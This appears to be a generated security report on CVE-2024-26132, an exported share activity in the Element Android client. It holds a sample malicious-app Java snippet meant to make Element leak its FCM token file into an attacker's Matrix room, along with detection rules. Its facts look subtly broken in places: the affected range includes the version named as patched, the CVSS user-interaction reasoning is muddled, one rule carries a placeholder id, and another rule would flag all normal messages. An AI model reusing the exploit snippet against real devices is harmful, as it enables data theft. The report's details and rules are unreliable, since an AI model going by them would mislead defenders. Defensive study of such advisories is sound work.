CVE-2024-26132

Executive Summary

CVE-2024-26132 is a local privilege escalation vulnerability affecting the Element Android Matrix client (versions 0.91.0 through 1.6.12). The vulnerability allows a third-party malicious application installed on the same device to force Element Android to share files stored under the files directory in the application's private data directory to an arbitrary room. The attack is possible because the IncomingShareActivity component is exported (android:exported="true"), allowing external applications to invoke it without proper permission checks.

The impact is partially mitigated by the fact that databases stored in this folder are encrypted. However, other potentially sensitive information, such as the Firebase Cloud Messaging (FCM) token, can be exposed. The vulnerability has a CVSS score of 4.0 (Medium) and a low EPSS score of 0.0%, indicating limited exploitation in the wild. The patch involves setting android:exported="false" for the IncomingShareActivity activity in the AndroidManifest.xml file.

Supply Chain & Package Security

This vulnerability is specific to the Element Android application, which is distributed through official app stores (Google Play, F-Droid) and directly as APK files. The risk to the software supply chain is low, as the vulnerability does not affect the server-side components or the build pipeline. However, users who install Element Android from unofficial sources may be at higher risk if the malicious application is also installed from the same source.

CVSS Breakdown & Threat Level

• CVSS Score: 4.0 (Medium)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Local (L) – The attacker must have a malicious application installed on the same device.
• Attack Complexity (AC): Low (L) – No special conditions required beyond the malicious app being installed.
• Privileges Required (PR): None (N) – The malicious app does not need elevated privileges.
• User Interaction (UI): Required (R) – The victim must have Element Android installed and the malicious app must be able to invoke the activity.
• Scope (S): Unchanged (U) – The vulnerability does not cross security boundaries.
• Confidentiality (C): Low (L) – Limited exposure of non-encrypted files (e.g., FCM token).
• Integrity (I): Low (L) – The attacker can force file sharing but cannot modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The attack requires local access (malicious app on the same device) and user interaction (the victim must have Element Android installed). The impact is limited to non-encrypted files, but the FCM token exposure could lead to further attacks.

Deep Dive & Mechanics

The vulnerability resides in the IncomingShareActivity component of Element Android. This activity is designed to handle incoming share intents from other applications. However, due to a misconfiguration in the AndroidManifest.xml file, the activity is exported (android:exported="true"), meaning any application on the device can invoke it without proper permission checks.

Attack Flow:

1. A malicious application is installed on the victim's Android device.
2. The malicious app sends an intent to the IncomingShareActivity of Element Android, specifying a file path under the files directory (e.g., /data/data/im.vector.app/files/somefile.txt) and a target room ID.
3. Element Android processes the intent and shares the specified file to the specified room without user confirmation.
4. The attacker (who may be in the room) receives the file.

Impact:

• Exposed Data: Non-encrypted files in the files directory, including the FCM token, which can be used to send push notifications to the victim's device.
• Encrypted Data: Databases are encrypted, so they are not directly exposed.
• Room Exposure: The attacker can force the victim to share files to any room, potentially leaking sensitive information.

Root Cause: The IncomingShareActivity is exported and does not enforce proper permission checks or user confirmation before sharing files.

Vulnerable vs. Patched Code

Vulnerable Code (AndroidManifest.xml in Element Android < 1.6.12):

<activity
    android:name=".ui.share.IncomingShareActivity"
    android:exported="true"
    android:theme="@style/Theme.Transparent" />

Patched Code (Element Android 1.6.12):

<activity
    android:name=".ui.share.IncomingShareActivity"
    android:exported="false"
    android:theme="@style/Theme.Transparent" />

Explanation: By setting android:exported="false", the activity can only be invoked by components within the same application (or by the system with appropriate permissions), preventing external malicious applications from triggering it.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Android device with Element Android (version 0.91.0 to 1.6.12) installed.
• Malicious application installed on the same device.
• Knowledge of a target room ID (e.g., !roomid:matrix.org).

Exploitation Steps:

1. Create a malicious Android application that sends an intent to the IncomingShareActivity.
2. The intent should include the file path (e.g., /data/data/im.vector.app/files/fcm_token.txt) and the target room ID.
3. The malicious app sends the intent using startActivity().

Sample Malicious App Code (Java):

Intent intent = new Intent();
intent.setComponent(new ComponentName("im.vector.app", "im.vector.app.ui.share.IncomingShareActivity"));
intent.setAction(Intent.ACTION_SEND);
intent.setType("text/plain");
intent.putExtra(Intent.EXTRA_TEXT, "file:///data/data/im.vector.app/files/fcm_token.txt");
intent.putExtra("room_id", "!targetroom:matrix.org");
startActivity(intent);

Expected Outcome: The file fcm_token.txt is shared to the specified room without user interaction.

Blue Team

Detection:

• Monitor for unusual intents targeting im.vector.app.ui.share.IncomingShareActivity from unknown applications.
• Use Android's PackageManager to check if any application has permissions to start activities in Element Android.
• Implement runtime permission checks in Element Android to require user confirmation before sharing files.

Mitigation:

• Update Element Android to version 1.6.12 or later.
• For forks, ensure android:exported="false" is set for IncomingShareActivity.
• Use Android's IntentFilter with android:exported="false" to prevent external invocation.

Indicators of Compromise (IOCs)

• File Paths: /data/data/im.vector.app/files/* (any file in this directory shared unexpectedly)
• Intent Actions: android.intent.action.SEND targeting im.vector.app.ui.share.IncomingShareActivity
• Network Traffic: Unexpected file uploads to Matrix rooms from the victim's device
• Log Entries: Android logcat entries showing IncomingShareActivity being started by a non-Element app

Detection Engineering

YARA Rule

rule CVE_2024_26132_Element_Android_Share {
    meta:
        description = "Detects Element Android APKs with exported IncomingShareActivity"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-26132"
    strings:
        $exported_true = "android:exported=\"true\""
        $activity_name = "IncomingShareActivity"
    condition:
        $activity_name and $exported_true
}

Sigma Rule

title: CVE-2024-26132 - Element Android IncomingShareActivity Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-26132 by sending intents to Element Android's IncomingShareActivity
author: Valters IT
date: 2024-01-01
logsource:
    product: android
    service: logcat
detection:
    selection:
        EventID: 1000
        PackageName: "im.vector.app"
        ActivityName: "IncomingShareActivity"
        CallerPackage: "*"
    condition: selection
falsepositives:
    - Legitimate sharing from other apps (if any)
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-26132 - Element Android File Share to Matrix Room";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/_matrix/client/r0/rooms/"; http_uri;
    content:"/send/m.room.message"; http_uri;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update Element Android to version 1.6.12 or later from official app stores.
2. For forks, manually set android:exported="false" for IncomingShareActivity in AndroidManifest.xml.

Long-term Measures:

• Implement runtime permission checks for all exported activities.
• Use Android's IntentFilter with android:exported="false" for components that should not be accessible from external apps.
• Regularly audit AndroidManifest.xml for exported components.

Workarounds:

• No known workaround exists for the vulnerable versions. The only mitigation is to update or apply the patch.

Report generated by Valters IT DevSecOps & CTI Division